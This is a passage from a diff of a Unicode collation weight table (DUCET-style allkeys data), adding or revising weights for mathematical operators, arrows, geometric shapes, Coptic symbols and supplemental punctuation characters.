+2ACB  ; [*0C94.0020.0002] # SUBSET OF ABOVE NOT EQUAL TO
+2ACC  ; [*0C95.0020.0002] # SUPERSET OF ABOVE NOT EQUAL TO
+2ACD  ; [*0C96.0020.0002] # SQUARE LEFT OPEN BOX OPERATOR
+2ACE  ; [*0C97.0020.0002] # SQUARE RIGHT OPEN BOX OPERATOR
+2ACF  ; [*0C98.0020.0002] # CLOSED SUBSET
+2AD0  ; [*0C99.0020.0002] # CLOSED SUPERSET
+2AD1  ; [*0C9A.0020.0002] # CLOSED SUBSET OR EQUAL TO
+2AD2  ; [*0C9B.0020.0002] # CLOSED SUPERSET OR EQUAL TO
+2AD3  ; [*0C9C.0020.0002] # SUBSET ABOVE SUPERSET
+2AD4  ; [*0C9D.0020.0002] # SUPERSET ABOVE SUBSET
+2AD5  ; [*0C9E.0020.0002] # SUBSET ABOVE SUBSET
+2AD6  ; [*0C9F.0020.0002] # SUPERSET ABOVE SUPERSET
+2AD7  ; [*0CA0.0020.0002] # SUPERSET BESIDE SUBSET
+2AD8  ; [*0CA1.0020.0002] # SUPERSET BESIDE AND JOINED BY DASH WITH SUBSET
+2AD9  ; [*0CA2.0020.0002] # ELEMENT OF OPENING DOWNWARDS
+2ADA  ; [*0CA3.0020.0002] # PITCHFORK WITH TEE TOP
+2ADB  ; [*0CA4.0020.0002] # TRANSVERSAL INTERSECTION
+2ADC  ; [*0CA5.0020.0002][.0000.002F.0002] # FORKING
+2ADD  ; [*0CA5.0020.0002] # NONFORKING
+2ADE  ; [*0CA6.0020.0002] # SHORT LEFT TACK
+2ADF  ; [*0CA7.0020.0002] # SHORT DOWN TACK
+2AE0  ; [*0CA8.0020.0002] # SHORT UP TACK
+2AE1  ; [*0CA9.0020.0002] # PERPENDICULAR WITH S
+2AE2  ; [*0CAA.0020.0002] # VERTICAL BAR TRIPLE RIGHT TURNSTILE
+2AE3  ; [*0CAB.0020.0002] # DOUBLE VERTICAL BAR LEFT TURNSTILE
+2AE4  ; [*0CAC.0020.0002] # VERTICAL BAR DOUBLE LEFT TURNSTILE
+2AE5  ; [*0CAD.0020.0002] # DOUBLE VERTICAL BAR DOUBLE LEFT TURNSTILE
+2AE6  ; [*0CAE.0020.0002] # LONG DASH FROM LEFT MEMBER OF DOUBLE VERTICAL
+2AE7  ; [*0CAF.0020.0002] # SHORT DOWN TACK WITH OVERBAR
+2AE8  ; [*0CB0.0020.0002] # SHORT UP TACK WITH UNDERBAR
+2AE9  ; [*0CB1.0020.0002] # SHORT UP TACK ABOVE SHORT DOWN TACK
+2AEA  ; [*0CB2.0020.0002] # DOUBLE DOWN TACK
+2AEB  ; [*0CB3.0020.0002] # DOUBLE UP TACK
+2AEC  ; [*0CB4.0020.0002] # DOUBLE STROKE NOT SIGN
+2AED  ; [*0CB5.0020.0002] # REVERSED DOUBLE STROKE NOT SIGN
+2AEE  ; [*0CB6.0020.0002] # DOES NOT DIVIDE WITH REVERSED NEGATION SLASH
+2AEF  ; [*0CB7.0020.0002] # VERTICAL LINE WITH CIRCLE ABOVE
+2AF0  ; [*0CB8.0020.0002] # VERTICAL LINE WITH CIRCLE BELOW
+2AF1  ; [*0CB9.0020.0002] # DOWN TACK WITH CIRCLE BELOW
+2AF2  ; [*0CBA.0020.0002] # PARALLEL WITH HORIZONTAL STROKE
+2AF3  ; [*0CBB.0020.0002] # PARALLEL WITH TILDE OPERATOR
+2AF4  ; [*0CBC.0020.0002] # TRIPLE VERTICAL BAR BINARY RELATION
+2AF5  ; [*0CBD.0020.0002] # TRIPLE VERTICAL BAR WITH HORIZONTAL STROKE
+2AF6  ; [*0CBE.0020.0002] # TRIPLE COLON OPERATOR
+2AF7  ; [*0CBF.0020.0002] # TRIPLE NESTED LESS-THAN
+2AF8  ; [*0CC0.0020.0002] # TRIPLE NESTED GREATER-THAN
+2AF9  ; [*0CC1.0020.0002] # DOUBLE-LINE SLANTED LESS-THAN OR EQUAL TO
+2AFA  ; [*0CC2.0020.0002] # DOUBLE-LINE SLANTED GREATER-THAN OR EQUAL TO
+2AFB  ; [*0CC3.0020.0002] # TRIPLE SOLIDUS BINARY RELATION
+2AFC  ; [*0CC4.0020.0002] # LARGE TRIPLE VERTICAL BAR OPERATOR
+2AFD  ; [*0CC5.0020.0002] # DOUBLE SOLIDUS OPERATOR
+2AFE  ; [*0CC6.0020.0002] # WHITE VERTICAL BAR
+2AFF  ; [*0CC7.0020.0002] # N-ARY WHITE VERTICAL BAR
+2B00  ; [*0CC8.0020.0002] # NORTH EAST WHITE ARROW
+2B01  ; [*0CC9.0020.0002] # NORTH WEST WHITE ARROW
+2B02  ; [*0CCA.0020.0002] # SOUTH EAST WHITE ARROW
+2B03  ; [*0CCB.0020.0002] # SOUTH WEST WHITE ARROW
+2B04  ; [*0CCC.0020.0002] # LEFT RIGHT WHITE ARROW
+2B05  ; [*0CCD.0020.0002] # LEFTWARDS BLACK ARROW
+2B06  ; [*0CCE.0020.0002] # UPWARDS BLACK ARROW
+2B07  ; [*0CCF.0020.0002] # DOWNWARDS BLACK ARROW
+2B08  ; [*0CD0.0020.0002] # NORTH EAST BLACK ARROW
+2B09  ; [*0CD1.0020.0002] # NORTH WEST BLACK ARROW
+2B0A  ; [*0CD2.0020.0002] # SOUTH EAST BLACK ARROW
+2B0B  ; [*0CD3.0020.0002] # SOUTH WEST BLACK ARROW
+2B0C  ; [*0CD4.0020.0002] # LEFT RIGHT BLACK ARROW
+2B0D  ; [*0CD5.0020.0002] # UP DOWN BLACK ARROW
+2B0E  ; [*0CD6.0020.0002] # RIGHTWARDS ARROW WITH TIP DOWNWARDS
+2B0F  ; [*0CD7.0020.0002] # RIGHTWARDS ARROW WITH TIP UPWARDS
+2B10  ; [*0CD8.0020.0002] # LEFTWARDS ARROW WITH TIP DOWNWARDS
+2B11  ; [*0CD9.0020.0002] # LEFTWARDS ARROW WITH TIP UPWARDS
+2B12  ; [*0CDA.0020.0002] # SQUARE WITH TOP HALF BLACK
+2B13  ; [*0CDB.0020.0002] # SQUARE WITH BOTTOM HALF BLACK
+2B14  ; [*0CDC.0020.0002] # SQUARE WITH UPPER RIGHT DIAGONAL HALF BLACK
+2B15  ; [*0CDD.0020.0002] # SQUARE WITH LOWER LEFT DIAGONAL HALF BLACK
+2B16  ; [*0CDE.0020.0002] # DIAMOND WITH LEFT HALF BLACK
+2B17  ; [*0CDF.0020.0002] # DIAMOND WITH RIGHT HALF BLACK
+2B18  ; [*0CE0.0020.0002] # DIAMOND WITH TOP HALF BLACK
+2B19  ; [*0CE1.0020.0002] # DIAMOND WITH BOTTOM HALF BLACK
+2B1A  ; [*0CE2.0020.0002] # DOTTED SQUARE
+2B1B  ; [*0CE3.0020.0002] # BLACK LARGE SQUARE
+2B1C  ; [*0CE4.0020.0002] # WHITE LARGE SQUARE
+2B1D  ; [*0CE5.0020.0002] # BLACK VERY SMALL SQUARE
+2B1E  ; [*0CE6.0020.0002] # WHITE VERY SMALL SQUARE
+2B1F  ; [*0CE7.0020.0002] # BLACK PENTAGON
+2B20  ; [*0CE8.0020.0002] # WHITE PENTAGON
+2B21  ; [*0CE9.0020.0002] # WHITE HEXAGON
+2B22  ; [*0CEA.0020.0002] # BLACK HEXAGON
+2B23  ; [*0CEB.0020.0002] # HORIZONTAL BLACK HEXAGON
+2B24  ; [*0CEC.0020.0002] # BLACK LARGE CIRCLE
+2B25  ; [*0CED.0020.0002] # BLACK MEDIUM DIAMOND
+2B26  ; [*0CEE.0020.0002] # WHITE MEDIUM DIAMOND
+2B27  ; [*0CEF.0020.0002] # BLACK MEDIUM LOZENGE
+2B28  ; [*0CF0.0020.0002] # WHITE MEDIUM LOZENGE
+2B29  ; [*0CF1.0020.0002] # BLACK SMALL DIAMOND
+2B2A  ; [*0CF2.0020.0002] # BLACK SMALL LOZENGE
+2B2B  ; [*0CF3.0020.0002] # WHITE SMALL LOZENGE
+2B2C  ; [*0CF4.0020.0002] # BLACK HORIZONTAL ELLIPSE
+2B2D  ; [*0CF5.0020.0002] # WHITE HORIZONTAL ELLIPSE
+2B2E  ; [*0CF6.0020.0002] # BLACK VERTICAL ELLIPSE
+2B2F  ; [*0CF7.0020.0002] # WHITE VERTICAL ELLIPSE
+2B30  ; [*0CF8.0020.0002] # LEFT ARROW WITH SMALL CIRCLE
+2B31  ; [*0CF9.0020.0002] # THREE LEFTWARDS ARROWS
+2B32  ; [*0CFA.0020.0002] # LEFT ARROW WITH CIRCLED PLUS
+2B33  ; [*0CFB.0020.0002] # LONG LEFTWARDS SQUIGGLE ARROW
+2B34  ; [*0CFC.0020.0002] # LEFTWARDS TWO-HEADED ARROW WITH VERTICAL STROKE
+2B35  ; [*0CFD.0020.0002] # LEFTWARDS TWO-HEADED ARROW WITH DOUBLE VERTICAL STROKE
+2B36  ; [*0CFE.0020.0002] # LEFTWARDS TWO-HEADED ARROW FROM BAR
+2B37  ; [*0CFF.0020.0002] # LEFTWARDS TWO-HEADED TRIPLE DASH ARROW
+2B38  ; [*0D00.0020.0002] # LEFTWARDS ARROW WITH DOTTED STEM
+2B39  ; [*0D01.0020.0002] # LEFTWARDS ARROW WITH TAIL WITH VERTICAL STROKE
+2B3A  ; [*0D02.0020.0002] # LEFTWARDS ARROW WITH TAIL WITH DOUBLE VERTICAL STROKE
+2B3B  ; [*0D03.0020.0002] # LEFTWARDS TWO-HEADED ARROW WITH TAIL
+2B3C  ; [*0D04.0020.0002] # LEFTWARDS TWO-HEADED ARROW WITH TAIL WITH VERTICAL STROKE
+2B3D  ; [*0D05.0020.0002] # LEFTWARDS TWO-HEADED ARROW WITH TAIL WITH DOUBLE VERTICAL STROKE
+2B3E  ; [*0D06.0020.0002] # LEFTWARDS ARROW THROUGH X
+2B3F  ; [*0D07.0020.0002] # WAVE ARROW POINTING DIRECTLY LEFT
+2B40  ; [*0D08.0020.0002] # EQUALS SIGN ABOVE LEFTWARDS ARROW
+2B41  ; [*0D09.0020.0002] # REVERSE TILDE OPERATOR ABOVE LEFTWARDS ARROW
+2B42  ; [*0D0A.0020.0002] # LEFTWARDS ARROW ABOVE REVERSE ALMOST EQUAL TO
+2B43  ; [*0D0B.0020.0002] # RIGHTWARDS ARROW THROUGH GREATER-THAN
+2B44  ; [*0D0C.0020.0002] # RIGHTWARDS ARROW THROUGH SUPERSET
+2B45  ; [*0D0D.0020.0002] # LEFTWARDS QUADRUPLE ARROW
+2B46  ; [*0D0E.0020.0002] # RIGHTWARDS QUADRUPLE ARROW
+2B47  ; [*0D0F.0020.0002] # REVERSE TILDE OPERATOR ABOVE RIGHTWARDS ARROW
+2B48  ; [*0D10.0020.0002] # RIGHTWARDS ARROW ABOVE REVERSE ALMOST EQUAL TO
+2B49  ; [*0D11.0020.0002] # TILDE OPERATOR ABOVE LEFTWARDS ARROW
+2B4A  ; [*0D12.0020.0002] # LEFTWARDS ARROW ABOVE ALMOST EQUAL TO
+2B4B  ; [*0D13.0020.0002] # LEFTWARDS ARROW ABOVE REVERSE TILDE OPERATOR
+2B4C  ; [*0D14.0020.0002] # RIGHTWARDS ARROW ABOVE REVERSE TILDE OPERATOR
+2B4D  ; [*0D15.0020.0002] # DOWNWARDS TRIANGLE-HEADED ZIGZAG ARROW
+2B4E  ; [*0D16.0020.0002] # SHORT SLANTED NORTH ARROW
+2B4F  ; [*0D17.0020.0002] # SHORT BACKSLANTED SOUTH ARROW
+2B50  ; [*0D18.0020.0002] # WHITE MEDIUM STAR
+2B51  ; [*0D19.0020.0002] # BLACK SMALL STAR
+2B52  ; [*0D1A.0020.0002] # WHITE SMALL STAR
+2B53  ; [*0D1B.0020.0002] # BLACK RIGHT-POINTING PENTAGON
+2B54  ; [*0D1C.0020.0002] # WHITE RIGHT-POINTING PENTAGON
+2B55  ; [*0D1D.0020.0002] # HEAVY LARGE CIRCLE
+2B56  ; [*0D1E.0020.0002] # HEAVY OVAL WITH OVAL INSIDE
+2B57  ; [*0D1F.0020.0002] # HEAVY CIRCLE WITH CIRCLE INSIDE
+2B58  ; [*0D20.0020.0002] # HEAVY CIRCLE
+2B59  ; [*0D21.0020.0002] # HEAVY CIRCLED SALTIRE
+2B5A  ; [*0D22.0020.0002] # SLANTED NORTH ARROW WITH HOOKED HEAD
+2B5B  ; [*0D23.0020.0002] # BACKSLANTED SOUTH ARROW WITH HOOKED TAIL
+2B5C  ; [*0D24.0020.0002] # SLANTED NORTH ARROW WITH HORIZONTAL TAIL
+2B5D  ; [*0D25.0020.0002] # BACKSLANTED SOUTH ARROW WITH HORIZONTAL TAIL
+2B5E  ; [*0D26.0020.0002] # BENT ARROW POINTING DOWNWARDS THEN NORTH EAST
+2B5F  ; [*0D27.0020.0002] # SHORT BENT ARROW POINTING DOWNWARDS THEN NORTH EAST
+2B60  ; [*0D28.0020.0002] # LEFTWARDS TRIANGLE-HEADED ARROW
+2B61  ; [*0D29.0020.0002] # UPWARDS TRIANGLE-HEADED ARROW
+2B62  ; [*0D2A.0020.0002] # RIGHTWARDS TRIANGLE-HEADED ARROW
+2B63  ; [*0D2B.0020.0002] # DOWNWARDS TRIANGLE-HEADED ARROW
+2B64  ; [*0D2C.0020.0002] # LEFT RIGHT TRIANGLE-HEADED ARROW
+2B65  ; [*0D2D.0020.0002] # UP DOWN TRIANGLE-HEADED ARROW
+2B66  ; [*0D2E.0020.0002] # NORTH WEST TRIANGLE-HEADED ARROW
+2B67  ; [*0D2F.0020.0002] # NORTH EAST TRIANGLE-HEADED ARROW
+2B68  ; [*0D30.0020.0002] # SOUTH EAST TRIANGLE-HEADED ARROW
+2B69  ; [*0D31.0020.0002] # SOUTH WEST TRIANGLE-HEADED ARROW
+2B6A  ; [*0D32.0020.0002] # LEFTWARDS TRIANGLE-HEADED DASHED ARROW
+2B6B  ; [*0D33.0020.0002] # UPWARDS TRIANGLE-HEADED DASHED ARROW
+2B6C  ; [*0D34.0020.0002] # RIGHTWARDS TRIANGLE-HEADED DASHED ARROW
+2B6D  ; [*0D35.0020.0002] # DOWNWARDS TRIANGLE-HEADED DASHED ARROW
+2B6E  ; [*0D36.0020.0002] # CLOCKWISE TRIANGLE-HEADED OPEN CIRCLE ARROW
+2B6F  ; [*0D37.0020.0002] # ANTICLOCKWISE TRIANGLE-HEADED OPEN CIRCLE ARROW
+2B70  ; [*0D38.0020.0002] # LEFTWARDS TRIANGLE-HEADED ARROW TO BAR
+2B71  ; [*0D39.0020.0002] # UPWARDS TRIANGLE-HEADED ARROW TO BAR
+2B72  ; [*0D3A.0020.0002] # RIGHTWARDS TRIANGLE-HEADED ARROW TO BAR
+2B73  ; [*0D3B.0020.0002] # DOWNWARDS TRIANGLE-HEADED ARROW TO BAR
+2B76  ; [*0D3C.0020.0002] # NORTH WEST TRIANGLE-HEADED ARROW TO BAR
+2B77  ; [*0D3D.0020.0002] # NORTH EAST TRIANGLE-HEADED ARROW TO BAR
+2B78  ; [*0D3E.0020.0002] # SOUTH EAST TRIANGLE-HEADED ARROW TO BAR
+2B79  ; [*0D3F.0020.0002] # SOUTH WEST TRIANGLE-HEADED ARROW TO BAR
+2B7A  ; [*0D40.0020.0002] # LEFTWARDS TRIANGLE-HEADED ARROW WITH DOUBLE HORIZONTAL STROKE
+2B7B  ; [*0D41.0020.0002] # UPWARDS TRIANGLE-HEADED ARROW WITH DOUBLE HORIZONTAL STROKE
+2B7C  ; [*0D42.0020.0002] # RIGHTWARDS TRIANGLE-HEADED ARROW WITH DOUBLE HORIZONTAL STROKE
+2B7D  ; [*0D43.0020.0002] # DOWNWARDS TRIANGLE-HEADED ARROW WITH DOUBLE HORIZONTAL STROKE
+2B7E  ; [*0D44.0020.0002] # HORIZONTAL TAB KEY
+2B7F  ; [*0D45.0020.0002] # VERTICAL TAB KEY
+2B80  ; [*0D46.0020.0002] # LEFTWARDS TRIANGLE-HEADED ARROW OVER RIGHTWARDS TRIANGLE-HEADED ARROW
+2B81  ; [*0D47.0020.0002] # UPWARDS TRIANGLE-HEADED ARROW LEFTWARDS OF DOWNWARDS TRIANGLE-HEADED ARROW
+2B82  ; [*0D48.0020.0002] # RIGHTWARDS TRIANGLE-HEADED ARROW OVER LEFTWARDS TRIANGLE-HEADED ARROW
+2B83  ; [*0D49.0020.0002] # DOWNWARDS TRIANGLE-HEADED ARROW LEFTWARDS OF UPWARDS TRIANGLE-HEADED ARROW
+2B84  ; [*0D4A.0020.0002] # LEFTWARDS TRIANGLE-HEADED PAIRED ARROWS
+2B85  ; [*0D4B.0020.0002] # UPWARDS TRIANGLE-HEADED PAIRED ARROWS
+2B86  ; [*0D4C.0020.0002] # RIGHTWARDS TRIANGLE-HEADED PAIRED ARROWS
+2B87  ; [*0D4D.0020.0002] # DOWNWARDS TRIANGLE-HEADED PAIRED ARROWS
+2B88  ; [*0D4E.0020.0002] # LEFTWARDS BLACK CIRCLED WHITE ARROW
+2B89  ; [*0D4F.0020.0002] # UPWARDS BLACK CIRCLED WHITE ARROW
+2B8A  ; [*0D50.0020.0002] # RIGHTWARDS BLACK CIRCLED WHITE ARROW
+2B8B  ; [*0D51.0020.0002] # DOWNWARDS BLACK CIRCLED WHITE ARROW
+2B8C  ; [*0D52.0020.0002] # ANTICLOCKWISE TRIANGLE-HEADED RIGHT U-SHAPED ARROW
+2B8D  ; [*0D53.0020.0002] # ANTICLOCKWISE TRIANGLE-HEADED BOTTOM U-SHAPED ARROW
+2B8E  ; [*0D54.0020.0002] # ANTICLOCKWISE TRIANGLE-HEADED LEFT U-SHAPED ARROW
+2B8F  ; [*0D55.0020.0002] # ANTICLOCKWISE TRIANGLE-HEADED TOP U-SHAPED ARROW
+2B90  ; [*0D56.0020.0002] # RETURN LEFT
+2B91  ; [*0D57.0020.0002] # RETURN RIGHT
+2B92  ; [*0D58.0020.0002] # NEWLINE LEFT
+2B93  ; [*0D59.0020.0002] # NEWLINE RIGHT
+2B94  ; [*0D5A.0020.0002] # FOUR CORNER ARROWS CIRCLING ANTICLOCKWISE
+2B95  ; [*0D5B.0020.0002] # RIGHTWARDS BLACK ARROW
+2B98  ; [*0D5C.0020.0002] # THREE-D TOP-LIGHTED LEFTWARDS EQUILATERAL ARROWHEAD
+2B99  ; [*0D5D.0020.0002] # THREE-D RIGHT-LIGHTED UPWARDS EQUILATERAL ARROWHEAD
+2B9A  ; [*0D5E.0020.0002] # THREE-D TOP-LIGHTED RIGHTWARDS EQUILATERAL ARROWHEAD
+2B9B  ; [*0D5F.0020.0002] # THREE-D LEFT-LIGHTED DOWNWARDS EQUILATERAL ARROWHEAD
+2B9C  ; [*0D60.0020.0002] # BLACK LEFTWARDS EQUILATERAL ARROWHEAD
+2B9D  ; [*0D61.0020.0002] # BLACK UPWARDS EQUILATERAL ARROWHEAD
+2B9E  ; [*0D62.0020.0002] # BLACK RIGHTWARDS EQUILATERAL ARROWHEAD
+2B9F  ; [*0D63.0020.0002] # BLACK DOWNWARDS EQUILATERAL ARROWHEAD
+2BA0  ; [*0D64.0020.0002] # DOWNWARDS TRIANGLE-HEADED ARROW WITH LONG TIP LEFTWARDS
+2BA1  ; [*0D65.0020.0002] # DOWNWARDS TRIANGLE-HEADED ARROW WITH LONG TIP RIGHTWARDS
+2BA2  ; [*0D66.0020.0002] # UPWARDS TRIANGLE-HEADED ARROW WITH LONG TIP LEFTWARDS
+2BA3  ; [*0D67.0020.0002] # UPWARDS TRIANGLE-HEADED ARROW WITH LONG TIP RIGHTWARDS
+2BA4  ; [*0D68.0020.0002] # LEFTWARDS TRIANGLE-HEADED ARROW WITH LONG TIP UPWARDS
+2BA5  ; [*0D69.0020.0002] # RIGHTWARDS TRIANGLE-HEADED ARROW WITH LONG TIP UPWARDS
+2BA6  ; [*0D6A.0020.0002] # LEFTWARDS TRIANGLE-HEADED ARROW WITH LONG TIP DOWNWARDS
+2BA7  ; [*0D6B.0020.0002] # RIGHTWARDS TRIANGLE-HEADED ARROW WITH LONG TIP DOWNWARDS
+2BA8  ; [*0D6C.0020.0002] # BLACK CURVED DOWNWARDS AND LEFTWARDS ARROW
+2BA9  ; [*0D6D.0020.0002] # BLACK CURVED DOWNWARDS AND RIGHTWARDS ARROW
+2BAA  ; [*0D6E.0020.0002] # BLACK CURVED UPWARDS AND LEFTWARDS ARROW
+2BAB  ; [*0D6F.0020.0002] # BLACK CURVED UPWARDS AND RIGHTWARDS ARROW
+2BAC  ; [*0D70.0020.0002] # BLACK CURVED LEFTWARDS AND UPWARDS ARROW
+2BAD  ; [*0D71.0020.0002] # BLACK CURVED RIGHTWARDS AND UPWARDS ARROW
+2BAE  ; [*0D72.0020.0002] # BLACK CURVED LEFTWARDS AND DOWNWARDS ARROW
+2BAF  ; [*0D73.0020.0002] # BLACK CURVED RIGHTWARDS AND DOWNWARDS ARROW
+2BB0  ; [*0D74.0020.0002] # RIBBON ARROW DOWN LEFT
+2BB1  ; [*0D75.0020.0002] # RIBBON ARROW DOWN RIGHT
+2BB2  ; [*0D76.0020.0002] # RIBBON ARROW UP LEFT
+2BB3  ; [*0D77.0020.0002] # RIBBON ARROW UP RIGHT
+2BB4  ; [*0D78.0020.0002] # RIBBON ARROW LEFT UP
+2BB5  ; [*0D79.0020.0002] # RIBBON ARROW RIGHT UP
+2BB6  ; [*0D7A.0020.0002] # RIBBON ARROW LEFT DOWN
+2BB7  ; [*0D7B.0020.0002] # RIBBON ARROW RIGHT DOWN
+2BB8  ; [*0D7C.0020.0002] # UPWARDS WHITE ARROW FROM BAR WITH HORIZONTAL BAR
+2BB9  ; [*0D7D.0020.0002] # UP ARROWHEAD IN A RECTANGLE BOX
+2BBD  ; [*0D7E.0020.0002] # BALLOT BOX WITH LIGHT X
+2BBE  ; [*0D7F.0020.0002] # CIRCLED X
+2BBF  ; [*0D80.0020.0002] # CIRCLED BOLD X
+2BC0  ; [*0D81.0020.0002] # BLACK SQUARE CENTRED
+2BC1  ; [*0D82.0020.0002] # BLACK DIAMOND CENTRED
+2BC2  ; [*0D83.0020.0002] # TURNED BLACK PENTAGON
+2BC3  ; [*0D84.0020.0002] # HORIZONTAL BLACK OCTAGON
+2BC4  ; [*0D85.0020.0002] # BLACK OCTAGON
+2BC5  ; [*0D86.0020.0002] # BLACK MEDIUM UP-POINTING TRIANGLE CENTRED
+2BC6  ; [*0D87.0020.0002] # BLACK MEDIUM DOWN-POINTING TRIANGLE CENTRED
+2BC7  ; [*0D88.0020.0002] # BLACK MEDIUM LEFT-POINTING TRIANGLE CENTRED
+2BC8  ; [*0D89.0020.0002] # BLACK MEDIUM RIGHT-POINTING TRIANGLE CENTRED
+2BCA  ; [*0D8A.0020.0002] # TOP HALF BLACK CIRCLE
+2BCB  ; [*0D8B.0020.0002] # BOTTOM HALF BLACK CIRCLE
+2BCC  ; [*0D8C.0020.0002] # LIGHT FOUR POINTED BLACK CUSP
+2BCD  ; [*0D8D.0020.0002] # ROTATED LIGHT FOUR POINTED BLACK CUSP
+2BCE  ; [*0D8E.0020.0002] # WHITE FOUR POINTED CUSP
+2BCF  ; [*0D8F.0020.0002] # ROTATED WHITE FOUR POINTED CUSP
+2BD0  ; [*0D90.0020.0002] # SQUARE POSITION INDICATOR
+2BD1  ; [*0D91.0020.0002] # UNCERTAINTY SIGN
+2BEC  ; [*0D92.0020.0002] # LEFTWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS
+2BED  ; [*0D93.0020.0002] # UPWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS
+2BEE  ; [*0D94.0020.0002] # RIGHTWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS
+2BEF  ; [*0D95.0020.0002] # DOWNWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS
+2CE5  ; [*0D96.0020.0002] # COPTIC SYMBOL MI RO
+2CE6  ; [*0D97.0020.0002] # COPTIC SYMBOL PI RO
+2CE7  ; [*0D98.0020.0002] # COPTIC SYMBOL STAUROS
+2CE8  ; [*0D99.0020.0002] # COPTIC SYMBOL TAU RO
+2CE9  ; [*0D9A.0020.0002] # COPTIC SYMBOL KHI RO
+2CEA  ; [*0D9B.0020.0002] # COPTIC SYMBOL SHIMA SIMA
+2CF9  ; [*0281.0020.0002] # COPTIC OLD NUBIAN FULL STOP
+2CFA  ; [*026E.0020.0002] # COPTIC OLD NUBIAN DIRECT QUESTION MARK
+2CFB  ; [*026F.0020.0002] # COPTIC OLD NUBIAN INDIRECT QUESTION MARK
+2CFC  ; [*02F6.0020.0002] # COPTIC OLD NUBIAN VERSE DIVIDER
+2CFD  ; [*1AE2.0020.0002] # COPTIC FRACTION ONE HALF
+2CFE  ; [*0282.0020.0002] # COPTIC FULL STOP
+2CFF  ; [*02F7.0020.0002] # COPTIC MORPHOLOGICAL DIVIDER
+2D70  ; [*0427.0020.0002] # TIFINAGH SEPARATOR MARK
 2D7F  ; [.0000.0000.0000] # TIFINAGH CONSONANT JOINER
-2E00  ; [*03AF.0020.0002] # RIGHT ANGLE SUBSTITUTION MARKER
-2E01  ; [*03B0.0020.0002] # RIGHT ANGLE DOTTED SUBSTITUTION MARKER
-2E02  ; [*0354.0020.0002] # LEFT SUBSTITUTION BRACKET
-2E03  ; [*0355.0020.0002] # RIGHT SUBSTITUTION BRACKET
-2E04  ; [*0356.0020.0002] # LEFT DOTTED SUBSTITUTION BRACKET
-2E05  ; [*0357.0020.0002] # RIGHT DOTTED SUBSTITUTION BRACKET
-2E06  ; [*03B1.0020.0002] # RAISED INTERPOLATION MARKER
-2E07  ; [*03B2.0020.0002] # RAISED DOTTED INTERPOLATION MARKER
-2E08  ; [*03B3.0020.0002] # DOTTED TRANSPOSITION MARKER
-2E09  ; [*0358.0020.0002] # LEFT TRANSPOSITION BRACKET
-2E0A  ; [*0359.0020.0002] # RIGHT TRANSPOSITION BRACKET
-2E0B  ; [*03B4.0020.0002] # RAISED SQUARE
-2E0C  ; [*035A.0020.0002] # LEFT RAISED OMISSION BRACKET
-2E0D  ; [*035B.0020.0002] # RIGHT RAISED OMISSION BRACKET
-2E0E  ; [*03B5.0020.0002] # EDITORIAL CORONIS
-2E0F  ; [*03B6.0020.0002] # PARAGRAPHOS
-2E10  ; [*03B7.0020.0002] # FORKED PARAGRAPHOS
-2E11  ; [*03B8.0020.0002] # REVERSED FORKED PARAGRAPHOS
-2E12  ; [*03B9.0020.0002] # HYPODIASTOLE
-2E13  ; [*03BA.0020.0002] # DOTTED OBELOS
-2E14  ; [*03BB.0020.0002] # DOWNWARDS ANCORA
-2E15  ; [*03BC.0020.0002] # UPWARDS ANCORA
-2E16  ; [*03BD.0020.0002] # DOTTED RIGHT-POINTING ANGLE
-2E17  ; [*021B.0020.0002] # DOUBLE OBLIQUE HYPHEN
-2E18  ; [*0273.0020.0002] # INVERTED INTERROBANG
-2E19  ; [*02F1.0020.0002] # PALM BRANCH
-2E1A  ; [*03BE.0020.0002] # HYPHEN WITH DIAERESIS
-2E1B  ; [*03BF.0020.0002] # TILDE WITH RING ABOVE
-2E1C  ; [*035C.0020.0002] # LEFT LOW PARAPHRASE BRACKET
-2E1D  ; [*035D.0020.0002] # RIGHT LOW PARAPHRASE BRACKET
-2E1E  ; [*03C0.0020.0002] # TILDE WITH DOT ABOVE
-2E1F  ; [*03C1.0020.0002] # TILDE WITH DOT BELOW
-2E20  ; [*035E.0020.0002] # LEFT VERTICAL BAR WITH QUILL
-2E21  ; [*035F.0020.0002] # RIGHT VERTICAL BAR WITH QUILL
-2E22  ; [*0360.0020.0002] # TOP LEFT HALF BRACKET
-2E23  ; [*0361.0020.0002] # TOP RIGHT HALF BRACKET
-2E24  ; [*0362.0020.0002] # BOTTOM LEFT HALF BRACKET
-2E25  ; [*0363.0020.0002] # BOTTOM RIGHT HALF BRACKET
-2E26  ; [*0364.0020.0002] # LEFT SIDEWAYS U BRACKET
-2E27  ; [*0365.0020.0002] # RIGHT SIDEWAYS U BRACKET
-2E28  ; [*0366.0020.0002] # LEFT DOUBLE PARENTHESIS
-2E29  ; [*0367.0020.0002] # RIGHT DOUBLE PARENTHESIS
-2E2A  ; [*02EA.0020.0002] # TWO DOTS OVER ONE DOT PUNCTUATION
-2E2B  ; [*02EB.0020.0002] # ONE DOT OVER TWO DOTS PUNCTUATION
-2E2C  ; [*02EC.0020.0002] # SQUARED FOUR DOT PUNCTUATION
-2E2D  ; [*02ED.0020.0002] # FIVE DOT MARK
-2E2E  ; [*0266.0020.0002] # REVERSED QUESTION MARK
-2E30  ; [*0280.0020.0002] # RING POINT
-2E31  ; [*0289.0020.0002] # WORD SEPARATOR MIDDLE DOT
-2E32  ; [*0223.0020.0002] # TURNED COMMA
-2E33  ; [*028A.0020.0002] # RAISED DOT
-2E34  ; [*0222.0020.0002] # RAISED COMMA
-2E35  ; [*0236.0020.0002] # TURNED SEMICOLON
-2E36  ; [*039A.0020.0002] # DAGGER WITH LEFT GUARD
-2E37  ; [*039B.0020.0002] # DAGGER WITH RIGHT GUARD
-2E38  ; [*039C.0020.0002] # TURNED DAGGER
-2E39  ; [*0383.0020.0002] # TOP HALF SECTION SIGN
+2E00  ; [*03B6.0020.0002] # RIGHT ANGLE SUBSTITUTION MARKER
+2E01  ; [*03B7.0020.0002] # RIGHT ANGLE DOTTED SUBSTITUTION MARKER
+2E02  ; [*035B.0020.0002] # LEFT SUBSTITUTION BRACKET
+2E03  ; [*035C.0020.0002] # RIGHT SUBSTITUTION BRACKET
+2E04  ; [*035D.0020.0002] # LEFT DOTTED SUBSTITUTION BRACKET
+2E05  ; [*035E.0020.0002] # RIGHT DOTTED SUBSTITUTION BRACKET
+2E06  ; [*03B8.0020.0002] # RAISED INTERPOLATION MARKER
+2E07  ; [*03B9.0020.0002] # RAISED DOTTED INTERPOLATION MARKER
